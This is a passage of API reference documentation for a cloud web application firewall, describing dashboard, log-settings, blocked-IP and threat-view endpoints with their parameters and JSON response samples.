ApiRequestAuthorizer

Responses

Response samples

200
400
403

Content type
application/json

Example
PCI tasks summary with issues

{"alerts": true, "scripts_needs_review": {"missing_justification": 3, "modified": 2, "newly_discovered": 5 }, "security_header_changed": 1 }

Get Server Status Data for Waf Dashboard

Get the information of server status on DASHBOARD tab.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
403

Content type
application/json

{"counter": {"active": 1, "disabled": 0, "out_of_service": 0 }, "servers": [{"addr": "116.211.184.212", "status": "active" } ] }

Get Data of Application Dashboard Widgets

Get request data of widgets on Waf Dashboard page.

Requires API key secret as `Authorization` request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

timespan required	string ['last_hour', 'last_24_hours', 'last_7_days', 'last_14_days']. No default value.
local_timezone	string Specify your local timezone with minutes format, like -480 (-08:00) or 120(+02:00).

Responses

Response samples

200
400

Content type
application/json

{"20190610T023000": {"allowed_req": 0, "blocked_req": 0 }, "20190610T024500": {"allowed_req": 0, "blocked_req": 0 }, "20190610T030000": {"allowed_req": 0, "blocked_req": 0 }, "20190610T031500": {"allowed_req": 0, "blocked_req": 0 }, "20190610T033000": {"allowed_req": 0, "blocked_req": 0 } }

Get Data of Waf Dashboard Throughput Widgets

Get throughput data of widgets on Waf Dashboard page.

Requires API key secret as `Authorization` request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

timespan required	string ['last_hour', 'last_24_hours', 'last_7_days', 'last_14_days']. No default value.
local_timezone	string Specify your local timezone with minutes format, like -480 (-08:00) or 120(+02:00).

Responses

Response samples

200
400

Content type
application/json

{"20190606T160000": {"http_tp": 0, "https_tp": 0 }, "20190606T170000": {"http_tp": 0, "https_tp": 0 }, "20190606T180000": {"http_tp": 0, "https_tp": 0 } }

Get Data of Application Dashboard Widgets

Get data of widgets on Application Dashboard page.

Parameter 'category' is required to specify which widget you want to view.
Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

query Parameters

category required	string The values for this variable are ["month_sum", "lic_info", "req", "tp"].It is required parameter and has no default value. month_sum: Return the monthly statistics of the endpoint, such as total throughput, total requests, total blocked requests, the user's subscribed bandwidth, and usage bandwidth, etc. lic_info: Return user's license type and the expiration date. req: Return allowed requests and blocked requests. tp: Return the HTTPS throughput and HTTP throughput.
timespan required	string This parameter is required if category equals to 'tp' or 'req'. Value could be one of ['last_hour', 'last_24_hours', 'last_7_days', 'last_14_days']. No default value.
local_timezone	string Specify your local timezone with minutes format, like -480 (-08:00) or 120(+02:00).

Responses

Response samples

200
400

Content type
application/json

Example
DashboardLogs-last-7-days-throughput

{"20190606T160000": {"http_tp": 0, "https_tp": 0 }, "20190606T170000": {"http_tp": 0, "https_tp": 0 }, "20190606T180000": {"http_tp": 0, "https_tp": 0 } }

Get OWASP Top 10 Data for Application Dashboard

Get OWASP TOP 10 data for Application Dashboard.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

timespan

required

string

Available values include: last_hour, last_24_hours and last_7_days

Responses

Response samples

200

Content type
application/json

[{"doc_count": 7513, "key": "A9:2017-Using Components with Known Vulnerabilities", "percentage": "42.0" }, {"doc_count": 7092, "key": "A1:2017-Injection", "percentage": "39.7" }, {"doc_count": 2095, "key": "A7:2017-Cross-Site Scripting (XSS)", "percentage": "11.7" }, {"doc_count": 478, "key": "A6:2017-Security Misconfiguration", "percentage": "2.7" }, {"doc_count": 397, "key": "A3:2017-Sensitive Data Exposure", "percentage": "2.2" }, {"doc_count": 200, "key": "A5:2017-Broken Access Control", "percentage": "1.1" }, {"doc_count": 100, "key": "A2:2017-SQL Injection", "percentage": "0.6" } ]

Get Server Status Data for Application Dashboard

Get the information of server status on DASHBOARD tab.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
403

Content type
application/json

{"counter": {"active": 1, "disabled": 0, "out_of_service": 0 }, "servers": [{"addr": "116.211.184.212", "pool_name": "default_pool", "status": "active" } ] }

Get Threat Level History for Application Dashboard

Get the information of threat level history on DASHBOARD tab.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

timespan required	string Enum: "last_24_hours" "last_7_days" "last_14_days" "last_30_days"
offset_hours	string The value should be integer of -11~12, and the default value is 0. This value is required only when {{timespan}} equals to "last_7_days", "last_14_days", "last_30_days".

Responses

Response samples

200
400

Content type
application/json

{"20190610T040000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T050000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T060000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T070000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T080000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T090000": {"avg_score": 185, "curr_rank": 0, "curr_score": 0 }, "20190610T100000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T110000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T120000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T130000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T140000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T150000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T160000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T170000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T180000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T190000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T200000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T210000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T220000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190610T230000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190611T000000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190611T010000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 }, "20190611T020000": {"avg_score": 1000, "curr_rank": 0, "curr_score": 0 }, "20190611T030000": {"avg_score": 270, "curr_rank": 0, "curr_score": 0 }, "20190611T040000": {"avg_score": 0, "curr_rank": 0, "curr_score": 0 } }

Get Threat Levels for Application Dashboard

Get the information of threat level values on Application DASHBOARD tab.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"categories": { }, "level": 0 }

Get Traffic Log Stats

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

query Parameters

count	string Return the first N countries data
timespan required	string Time range to show the statistic. This parameter is required. No default value. Value could be one of ['last_4_hours', 'last_24_hours', 'last_7_days', 'last_14_days', 'last_30_days'].

Responses

Response samples

200

Content type
application/json

{"Australia": {"average_http_request_bytes": 141763441, "average_http_response_bytes": 314340558, "total_bytes": 456103999 }, "Canada": {"average_http_request_bytes": 96618454, "average_http_response_bytes": 185978294, "total_bytes": 282596748 }, "China": {"average_http_request_bytes": 43631326, "average_http_response_bytes": 90603968, "total_bytes": 134235294 }, "France": {"average_http_request_bytes": 46867923, "average_http_response_bytes": 90788160, "total_bytes": 137656083 }, "Germany": {"average_http_request_bytes": 40301141, "average_http_response_bytes": 100380142, "total_bytes": 140681283 }, "India": {"average_http_request_bytes": 136768962, "average_http_response_bytes": 268361880, "total_bytes": 405130842 }, "Japan": {"average_http_request_bytes": 33241889, "average_http_response_bytes": 64323196, "total_bytes": 97565085 }, "Singapore": {"average_http_request_bytes": 32296236, "average_http_response_bytes": 62012382, "total_bytes": 94308618 }, "United Kingdom": {"average_http_request_bytes": 47802081, "average_http_response_bytes": 94220944, "total_bytes": 142023025 }, "United States": {"average_http_request_bytes": 1892633789, "average_http_response_bytes": 3661572138, "total_bytes": 5554205927 } }

Log Settings

This section shows how to configure module log settings.

Get Log Settings Configuration

Get endpoint log server configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"advancedRules": [{"customNotified": true, "enabled": true, "filters": [{"field": "main_type", "operator": "is_not", "value": "Known Attacks" } ], "name": "demo_rule_3", "notified": "user2@example.com", "threshold": 800 }, {"customNotified": false, "defaultNotified": "user@example.com", "enabled": true, "filters": [{"endValue": "2.2.2.240", "field": "src_ip", "operator": "is_between", "startValue": "2.2.2.2" } ], "name": "demo_rule_2", "notified": null, "threshold": 200 }, {"customNotified": false, "defaultNotified": "user@example.com", "enabled": false, "filters": [{"field": "http_agent", "operator": "is", "value": "chrome" } ], "name": "demo_rule_1", "notified": null, "threshold": 1000 } ], "alarmMode": "advanced", "basicRule": {"customNotified": false, "defaultNotified": "user@example.com", "name": "Basic Alarm", "notified": null, "threshold": "Critical" }, "enableAlarm": true, "logMaskRules": [{"name_pattern": "", "rule_type": "URL", "value_pattern": "password=.*" }, {"name_pattern": "password", "rule_type": "Parameter", "value_pattern": ".*" }, {"name_pattern": "password", "rule_type": "Cookie", "value_pattern": ".*" } ], "logstash_traffic_config": {"_status": "enable", "server_type": "S3", "user_access_id": "xxx", "user_account_region": "us-west-2", "user_bucket_name": "bucket-name-example", "user_prefix": "prefix-example", "user_secret_key": "xxx" } }

Update Log Settings Configuration

Update log server configuration.

A request body including all parameters and values is required. Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{"advancedRules": [{"customNotified": true, "enabled": true, "filters": [{"field": "main_type", "operator": "is_not", "value": "Known Attacks" } ], "name": "demo_rule_3", "notified": "user2@example.com", "threshold": 800 }, {"customNotified": false, "defaultNotified": "user@example.com", "enabled": true, "filters": [{"endValue": "2.2.2.240", "field": "src_ip", "operator": "is_not_between", "startValue": "2.2.2.2" } ], "name": "demo_rule_2", "notified": null, "threshold": 200 }, {"customNotified": false, "defaultNotified": "user@example.com", "enabled": false, "filters": [{"field": "http_agent", "operator": "is", "value": "chrome" } ], "name": "demo_rule_1", "notified": null, "threshold": 1000 } ], "alarmMode": "basic", "basicRule": {"customNotified": true, "name": "Basic Alarm", "notified": "user@demo.com", "threshold": "Critical" }, "enableAlarm": true, "logstash_traffic_config": {"_status": "enable", "server_type": "S3", "user_access_id": "xxx", "user_account_region": "us-west-2", "user_bucket_name": "user_bucket_name", "user_prefix": "user_prefix", "user_secret_key": "xxxxx" } }

Response samples

200

Content type
application/json

Example
Success

{"detail": "Logs settings were changed successfully." }

Test accessibility of S3 Bucket or Azure Blob

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Request Body schema: application/json

account_key	string Azure account key. Required for Azure blob config.
container_name	string Azure blob container name. Required for Azure blob config.
server_type	string Enum: "s3" "blob" server type. Now supports AWS s3 and Azure blob only.
user_access_id	string Access Key ID. Required for S3 config.
user_account_region	string Account region. Required for S3 config.
user_bucket_name	string S3 bucket name. Required for S3 config. S3 bucket name must be 3 to 63 characters, use only lowercase letters, numbers, hyphens, and dots. It must start and end with a letter or number, and cannot contain consecutive special characters.
user_prefix	string folder name. Optional for S3 config. Please enter between 1 and 512 characters. Your input may contain letters, numbers, dots, underscores, hyphens or forward slashes. However, please note that the input must not start with a forward slash and must not contain consecutive forward slashes (e.g., //).
user_secret_key	string Secret key. Required for S3 config.

Responses

Request samples

Payload

Content type
application/json

Example
Add AWS S3 bucket

{"server_type": "S3", "user_access_id": "xxx", "user_account_region": "us-west-2", "user_bucket_name": "example-bucket1", "user_prefix": "example-folder_name", "user_secret_key": "xxx" }

Response samples

200
400

Content type
application/json

{"detail": "Connect the Cloud Connector successfully." }

Threat View

This section shows how to configure module threat view.

Release the IP from being period blocked

Release the IP from being period blocked

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

ip

required

string

The IP to be released from being period blocked.

Responses

Response samples

400
500

Content type
application/json

{"detail": "Invalid IP address." }

Get period blocked IPs related to the application

Get period blocked IPs related to the application

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

filter

string

Array like string. Each element shall be JSON like object. Basic structure is [{"id":"{field_name}","logic":{"is":{"string":true},"NOT":{1 or None} },"value":["{field_value_1}", "field_value_2"]}]. Add NOT:1 to exclude given values. Value is an array containing multiple values. The logic between these values is OR logic.

Responses

Response samples

200
400

Content type
application/json

{"detail": [{"expire_time": "2023-02-15 15:23:04+0800", "ip": "1.2.3.4", "reason": "DDoS Prevention" } ] }

Get Threat View Statistics Data

Get the statistics information of threats. The result could be aggregated by srccountry or threat type.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

The application ID, it can be obtained from List Applications API.

query Parameters

report_by	string Example: report_by=main_type Log field name that is used to group the result in grid. Supported values include owasp_top10, main_type, src_ip and srccountry.
filter	string Example: filter=%7B%22http_url%22%3A%22test%22%2C%22main_type%22%3A%22Known%20Attacks%22%7D A string, it can be deserialized as JSON object. The value shall be URL encoded. For example, filter object is like: `{ "http_url": "test", "main_type": "Known Attacks" }` and the value for this param here shall be like: `%7B%22http_url%22%3A%22test%22%2C%22main_type%22%3A%22Known%20Attacks%22%7D`
end	string Example: end=1665446400000 The end time of time range in millisecond format.
start	string Example: start=1665360000000 The beginning time of time range in millisecond format.
count	string Example: count=20 An integer, the number of logs in one page and the maximum value is 100.
tend_by	string Example: tend_by=action Log field name which is used to group data in chart view. The values can be http_method, action, etc.
sort_by	string Example: sort_by=total_number The field name which is used to sort the result. It must be present in response, like total_number, score, etc.

Responses

Response samples

200

Content type
application/json

Example
Threats View By Types

{"details": [{"Block": 60, "HTTP": 0, "HTTPS": 60, "Monitor": 0, "main_type": "Information Leakage", "threat_level": "High", "total_number": 60, "total_score": 1800 }, {"Block": 1, "HTTP": 0, "HTTPS": 1, "Monitor": 0, "main_type": "Known Attacks", "threat_level": "High", "total_number": 1, "total_score": 30 } ], "summary": {"count": 5, "end": "1587457479971", "graph": [{"line_name": "Critical", "numbers": [{"id": 1, "line_number": 0, "time": 1587453840000 }, {"id": 2, "line_number": 0, "time": 1587453900000 }, {"id": 3, "line_number": 0, "time": 1587453960000 }, {"id": 4, "line_number": 0, "time": 1587454020000 }, {"id": 5, "line_number": 0, "time": 1587454080000 }, {"id": 6, "line_number": 0, "time": 1587454140000 }, {"id": 7, "line_number": 0, "time": 1587454200000 }, {"id": 8, "line_number": 0, "time": 1587454260000 }, {"id": 9, "line_number": 0, "time": 1587454320000 }, {"id": 10, "line_number": 0, "time": 1587454380000 }, {"id": 11, "line_number": 0, "time": 1587454440000 }, {"id": 12, "line_number": 0, "time": 1587454500000 }, {"id": 13, "line_number": 0, "time": 1587454560000 }, {"id": 14, "line_number": 0, "time": 1587454620000 }, {"id": 15, "line_number": 0, "time": 1587454680000 }, {"id": 16, "line_number": 0, "time": 1587454740000 }, {"id": 17, "line_number": 0, "time": 1587454800000 }, {"id": 18, "line_number": 0, "time": 1587454860000 }, {"id": 19, "line_number": 0, "time": 1587454920000 }, {"id": 20, "line_number": 0, "time": 1587454980000 }, {"id": 21, "line_number": 0, "time": 1587455040000 }, {"id": 22, "line_number": 0, "time": 1587455100000 }, {"id": 23, "line_number": 0, "time": 1587455160000 }, {"id": 24, "line_number": 0, "time": 1587455220000 }, {"id": 25, "line_number": 0, "time": 1587455280000 }, {"id": 26, "line_number": 0, "time": 1587455340000 }, {"id": 27, "line_number": 0, "time": 1587455400000 }, {"id": 28, "line_number": 0, "time": 1587455460000 }, {"id": 29, "line_number": 0, "time": 1587455520000 }, {"id": 30, "line_number": 0, "time": 1587455580000 }, {"id": 31, "line_number": 0, "time": 1587455640000 }, {"id": 32, "line_number": 0, "time": 1587455700000 }, {"id": 33, "line_number": 0, "time": 1587455760000 }, {"id": 34, "line_number": 0, "time": 1587455820000 }, {"id": 35, "line_number": 0, "time": 1587455880000 }, {"id": 36, "line_number": 0, "time": 1587455940000 }, {"id": 37, "line_number": 0, "time": 1587456000000 }, {"id": 38, "line_number": 0, "time": 1587456060000 }, {"id": 39, "line_number": 0, "time": 1587456120000 }, {"id": 40, "line_number": 0, "time": 1587456180000 }, {"id": 41, "line_number": 0, "time": 1587456240000 }, {"id": 42, "line_number": 0, "time": 1587456300000 }, {"id": 43, "line_number": 0, "time": 1587456360000 }, {"id": 44, "line_number": 0, "time": 1587456420000 }, {"id": 45, "line_number": 0, "time": 1587456480000 }, {"id": 46, "line_number": 0, "time": 1587456540000 }, {"id": 47, "line_number": 0, "time": 1587456600000 }, {"id": 48, "line_number": 0, "time": 1587456660000 }, {"id": 49, "line_number": 0, "time": 1587456720000 }, {"id": 50, "line_number": 0, "time": 1587456780000 }, {"id": 51, "line_number": 0, "time": 1587456840000 }, {"id": 52, "line_number": 0, "time": 1587456900000 }, {"id": 53, "line_number": 0, "time": 1587456960000 }, {"id": 54, "line_number": 0, "time": 1587457020000 }, {"id": 55, "line_number": 0, "time": 1587457080000 }, {"id": 56, "line_number": 0, "time": 1587457140000 }, {"id": 57, "line_number": 0, "time": 1587457200000 }, {"id": 58, "line_number": 0, "time": 1587457260000 }, {"id": 59, "line_number": 0, "time": 1587457320000 }, {"id": 60, "line_number": 0, "time": 1587457380000 }, {"id": 61, "line_number": 0, "time": 1587457440000 } ] }, {"line_name": "High", "numbers": [{"id": 1, "line_number": 0, "time": 1587453840000 }, {"id": 2, "line_number": 1, "time": 1587453900000 }, {"id": 3, "line_number": 1, "time": 1587453960000 }, {"id": 4, "line_number": 1, "time": 1587454020000 }, {"id": 5, "line_number": 1, "time": 1587454080000 }, {"id": 6, "line_number": 1, "time": 1587454140000 }, {"id": 7, "line_number": 1, "time": 1587454200000 }, {"id": 8, "line_number": 1, "time": 1587454260000 }, {"id": 9, "line_number": 1, "time": 1587454320000 }, {"id": 10, "line_number": 1, "time": 1587454380000 }, {"id": 11, "line_number": 1, "time": 1587454440000 }, {"id": 12, "line_number": 2, "time": 1587454500000 }, {"id": 13, "line_number": 1, "time": 1587454560000 }, {"id": 14, "line_number": 1, "time": 1587454620000 }, {"id": 15, "line_number": 1, "time": 1587454680000 }, {"id": 16, "line_number": 1, "time": 1587454740000 }, {"id": 17, "line_number": 2, "time": 1587454800000 }, {"id": 18, "line_number": 0, "time": 1587454860000 }, {"id": 19, "line_number": 1, "time": 1587454920000 }, {"id": 20, "line_number": 2, "time": 1587454980000 }, {"id": 21, "line_number": 0, "time": 1587455040000 }, {"id": 22, "line_number": 1, "time": 1587455100000 }, {"id": 23, "line_number": 1, "time": 1587455160000 }, {"id": 24, "line_number": 1, "time": 1587455220000 }, {"id": 25, "line_number": 1, "time": 1587455280000 }, {"id": 26, "line_number": 1, "time": 1587455340000 }, {"id": 27, "line_number": 1, "time": 1587455400000 }, {"id": 28, "line_number": 1, "time": 1587455460000 }, {"id": 29, "line_number": 1, "time": 1587455520000 }, {"id": 30, "line_number": 1, "time": 1587455580000 }, {"id": 31, "line_number": 1, "time": 1587455640000 }, {"id": 32, "line_number": 1, "time": 1587455700000 }, {"id": 33, "line_number": 1, "time": 1587455760000 }, {"id": 34, "line_number": 1, "time": 1587455820000 }, {"id": 35, "line_number": 1, "time": 1587455880000 }, {"id": 36, "line_number": 1, "time": 1587455940000 }, {"id": 37, "line_number": 1, "time": 1587456000000 }, {"id": 38, "line_number": 1, "time": 1587456060000 }, {"id": 39, "line_number": 1, "time": 1587456120000 }, {"id": 40, "line_number": 1, "time": 1587456180000 }, {"id": 41, "line_number": 1, "time": 1587456240000 }, {"id": 42, "line_number": 1, "time": 1587456300000 }, {"id": 43, "line_number": 1, "time": 1587456360000 }, {"id": 44, "line_number": 1, "time": 1587456420000 }, {"id": 45, "line_number": 1, "time": 1587456480000 }, {"id": 46, "line_number": 1, "time": 1587456540000 }, {"id": 47, "line_number": 1, "time": 1587456600000 }, {"id": 48, "line_number": 1, "time": 1587456660000 }, {"id": 49, "line_number": 1, "time": 1587456720000 }, {"id": 50, "line_number": 1, "time": 1587456780000 }, {"id": 51, "line_number": 1, "time": 1587456840000 }, {"id": 52, "line_number": 1, "time": 1587456900000 }, {"id": 53, "line_number": 1, "time": 1587456960000 }, {"id": 54, "line_number": 2, "time": 1587457020000 }, {"id": 55, "line_number": 0, "time": 1587457080000 }, {"id": 56, "line_number": 1, "time": 1587457140000 }, {"id": 57, "line_number": 1, "time": 1587457200000 }, {"id": 58, "line_number": 1, "time": 1587457260000 }, {"id": 59, "line_number": 1, "time": 1587457320000 }, {"id": 60, "line_number": 1, "time": 1587457380000 }, {"id": 61, "line_number": 1, "time": 1587457440000 } ] }, {"line_name": "Medium", "numbers": [{"id": 1, "line_number": 0, "time": 1587453840000 }, {"id": 2, "line_number": 0, "time": 1587453900000 }, {"id": 3, "line_number": 0, "time": 1587453960000 }, {"id": 4, "line_number": 0, "time": 1587454020000 }, {"id": 5, "line_number": 0, "time": 1587454080000 }, {"id": 6, "line_number": 0, "time": 1587454140000 }, {"id": 7, "line_number": 0, "time": 1587454200000 }, {"id": 8, "line_number": 0, "time": 1587454260000 }, {"id": 9, "line_number": 0, "time": 1587454320000 }, {"id": 10, "line_number": 0, "time": 1587454380000 }, {"id": 11, "line_number": 0, "time": 1587454440000 }, {"id": 12, "line_number": 0, "time": 1587454500000 }, {"id": 13, "line_number": 0, "time": 1587454560000 }, {"id": 14, "line_number": 0, "time": 1587454620000 }, {"id": 15, "line_number": 0, "time": 1587454680000 }, {"id": 16, "line_number": 0, "time": 1587454740000 }, {"id": 17, "line_number": 0, "time": 1587454800000 }, {"id": 18, "line_number": 0, "time": 1587454860000 }, {"id": 19, "line_number": 0, "time": 1587454920000 }, {"id": 20, "line_number": 0, "time": 1587454980000 }, {"id": 21, "line_number": 0, "time": 1587455040000 }, {"id": 22, "line_number": 0, "time": 1587455100000 }, {"id": 23, "line_number": 0, "time": 1587455160000 }, {"id": 24, "line_number": 0, "time": 1587455220000 }, {"id": 25, "line_number": 0, "time": 1587455280000 }, {"id": 26, "line_number": 0, "time": 1587455340000 }, {"id": 27, "line_number": 0, "time": 1587455400000 }, {"id": 28, "line_number": 0, "time": 1587455460000 }, {"id": 29, "line_number": 0, "time": 1587455520000 }, {"id": 30, "line_number": 0, "time": 1587455580000 }, {"id": 31, "line_number": 0, "time": 1587455640000 }, {"id": 32, "line_number": 0, "time": 1587455700000 }, {"id": 33, "line_number": 0, "time": 1587455760000 }, {"id": 34, "line_number": 0, "time": 1587455820000 }, {"id": 35, "line_number": 0, "time": 1587455880000 }, {"id": 36, "line_number": 0, "time": 1587455940000 }, {"id": 37, "line_number": 0, "time": 1587456000000 }, {"id": 38, "line_number": 0, "time": 1587456060000 }, {"id": 39, "line_number": 0, "time": 1587456120000 }, {"id": 40, "line_number": 0, "time": 1587456180000 }, {"id": 41, "line_number": 0, "time": 1587456240000 }, {"id": 42, "line_number": 0, "time": 1587456300000 }, {"id": 43, "line_number": 0, "time": 1587456360000 }, {"id": 44, "line_number": 0, "time": 1587456420000 }, {"id": 45, "line_number": 0, "time": 1587456480000 }, {"id": 46, "line_number": 0, "time": 1587456540000 }, {"id": 47, "line_number": 0, "time": 1587456600000 }, {"id": 48, "line_number": 0, "time": 1587456660000 }, {"id": 49, "line_number": 0, "time": 1587456720000 }, {"id": 50, "line_number": 0, "time": 1587456780000 }, {"id": 51, "line_number": 0, "time": 1587456840000 }, {"id": 52, "line_number": 0, "time": 1587456900000 }, {"id": 53, "line_number": 0, "time": 1587456960000 }, {"id": 54, "line_number": 0, "time": 1587457020000 }, {"id": 55, "line_number": 0, "time": 1587457080000 }, {"id": 56, "line_number": 0, "time": 1587457140000 }, {"id": 57, "line_number": 0, "time": 1587457200000 }, {"id": 58, "line_number": 0, "time": 1587457260000 }, {"id": 59, "line_number": 0, "time": 1587457320000 }, {"id": 60, "line_number": 0, "time": 1587457380000 }, {"id": 61, "line_number": 0, "time": 1587457440000 } ] }, {"line_name": "Low", "numbers": [{"id": 1, "line_number": 0, "time": 1587453840000 }, {"id": 2, "line_number": 0, "time": 1587453900000 }, {"id": 3, "line_number": 0, "time": 1587453960000 }, {"id": 4, "line_number": 0, "time": 1587454020000 }, {"id": 5, "line_number": 0, "time": 1587454080000 }, {"id": 6, "line_number": 0, "time": 1587454140000 }, {"id": 7, "line_number": 0, "time": 1587454200000 }, {"id": 8, "line_number": 0, "time": 1587454260000 }, {"id": 9, "line_number": 0, "time": 1587454320000 }, {"id": 10, "line_number": 0, "time": 1587454380000 }, {"id": 11, "line_number": 0, "time": 1587454440000 }, {"id": 12, "line_number": 0, "time": 1587454500000 }, {"id": 13, "line_number": 0, "time": 1587454560000 }, {"id": 14, "line_number": 0, "time": 1587454620000 }, {"id": 15, "line_number": 0, "time": 1587454680000 }, {"id": 16, "line_number": 0, "time": 1587454740000 }, {"id": 17, "line_number": 0, "time": 1587454800000 }, {"id": 18, "line_number": 0, "time": 1587454860000 }, {"id": 19, "line_number": 0, "time": 1587454920000 }, {"id": 20, "line_number": 0, "time": 1587454980000 }, {"id": 21, "line_number": 0, "time": 1587455040000 }, {"id": 22, "line_number": 0, "time": 1587455100000 }, {"id": 23, "line_number": 0, "time": 1587455160000 }, {"id": 24, "line_number": 0, "time": 1587455220000 }, {"id": 25, "line_number": 0, "time": 1587455280000 }, {"id": 26, "line_number": 0, "time": 1587455340000 }, {"id": 27, "line_number": 0, "time": 1587455400000 }, {"id": 28, "line_number": 0, "time": 1587455460000 }, {"id": 29, "line_number": 0, "time": 1587455520000 }, {"id": 30, "line_number": 0, "time": 1587455580000 }, {"id": 31, "line_number": 0, "time": 1587455640000 }, {"id": 32, "line_number": 0, "time": 1587455700000 }, {"id": 33, "line_number": 0, "time": 1587455760000 }, {"id": 34, "line_number": 0, "time": 1587455820000 }, {"id": 35, "line_number": 0, "time": 1587455880000 }, {"id": 36, "line_number": 0, "time": 1587455940000 }, {"id": 37, "line_number": 0, "time": 1587456000000 }, {"id": 38, "line_number": 0, "time": 1587456060000 }, {"id": 39, "line_number": 0, "time": 1587456120000 }, {"id": 40, "line_number": 0, "time": 1587456180000 }, {"id": 41, "line_number": 0, "time": 1587456240000 }, {"id": 42, "line_number": 0, "time": 1587456300000 }, {"id": 43, "line_number": 0, "time": 1587456360000 }, {"id": 44, "line_number": 0, "time": 1587456420000 }, {"id": 45, "line_number": 0, "time": 1587456480000 }, {"id": 46, "line_number": 0, "time": 1587456540000 }, {"id": 47, "line_number": 0, "time": 1587456600000 }, {"id": 48, "line_number": 0, "time": 1587456660000 }, {"id": 49, "line_number": 0, "time": 1587456720000 }, {"id": 50, "line_number": 0, "time": 1587456780000 }, {"id": 51, "line_number": 0, "time": 1587456840000 }, {"id": 52, "line_number": 0, "time": 1587456900000 }, {"id": 53, "line_number": 0, "time": 1587456960000 }, {"id": 54, "line_number": 0, "time": 1587457020000 }, {"id": 55, "line_number": 0, "time": 1587457080000 }, {"id": 56, "line_number": 0, "time": 1587457140000 }, {"id": 57, "line_number": 0, "time": 1587457200000 }, {"id": 58, "line_number": 0, "time": 1587457260000 }, {"id": 59, "line_number": 0, "time": 1587457320000 }, {"id": 60, "line_number": 0, "time": 1587457380000 }, {"id": 61, "line_number": 0, "time": 1587457440000 } ] }, {"line_name": "Off", "numbers": [{"id": 1, "line_number": 0, "time": 1587453840000 }, {"id": 2, "line_number": 0, "time": 1587453900000 }, {"id": 3, "line_number": 0, "time": 1587453960000 }, {"id": 4, "line_number": 0, "time": 1587454020000 }, {"id": 5, "line_number": 0, "time": 1587454080000 }, {"id": 6, "line_number": 0, "time": 1587454140000 }, {"id": 7, "line_number": 0, "time": 1587454200000 }, {"id": 8, "line_number": 0, "time": 1587454260000 }, {"id": 9, "line_number": 0, "time": 1587454320000 }, {"id": 10, "line_number": 0, "time": 1587454380000 }, {"id": 11, "line_number": 0, "time": 1587454440000 }, {"id": 12, "line_number": 0, "time": 1587454500000 }, {"id": 13, "line_number": 0, "time": 1587454560000 }, {"id": 14, "line_number": 0, "time": 1587454620000 }, {"id": 15, "line_number": 0, "time": 1587454680000 }, {"id": 16, "line_number": 0, "time": 1587454740000 }, {"id": 17, "line_number": 0, "time": 1587454800000 }, {"id": 18, "line_number": 0, "time": 1587454860000 }, {"id": 19, "line_number": 0, "time": 1587454920000 }, {"id": 20, "line_number": 0, "time": 1587454980000 }, {"id": 21, "line_number": 0, "time": 1587455040000 }, {"id": 22, "line_number": 0, "time": 1587455100000 }, {"id": 23, "line_number": 0, "time": 1587455160000 }, {"id": 24, "line_number": 0, "time": 1587455220000 }, {"id": 25, "line_number": 0, "time": 1587455280000 }, {"id": 26, "line_number": 0, "time": 1587455340000 }, {"id": 27, "line_number": 0, "time": 1587455400000 }, {"id": 28, "line_number": 0, "time": 1587455460000 }, {"id": 29, "line_number": 0, "time": 1587455520000 }, {"id": 30, "line_number": 0, "time": 1587455580000 }, {"id": 31, "line_number": 0, "time": 1587455640000 }, {"id": 32, "line_number": 0, "time": 1587455700000 }, {"id": 33, 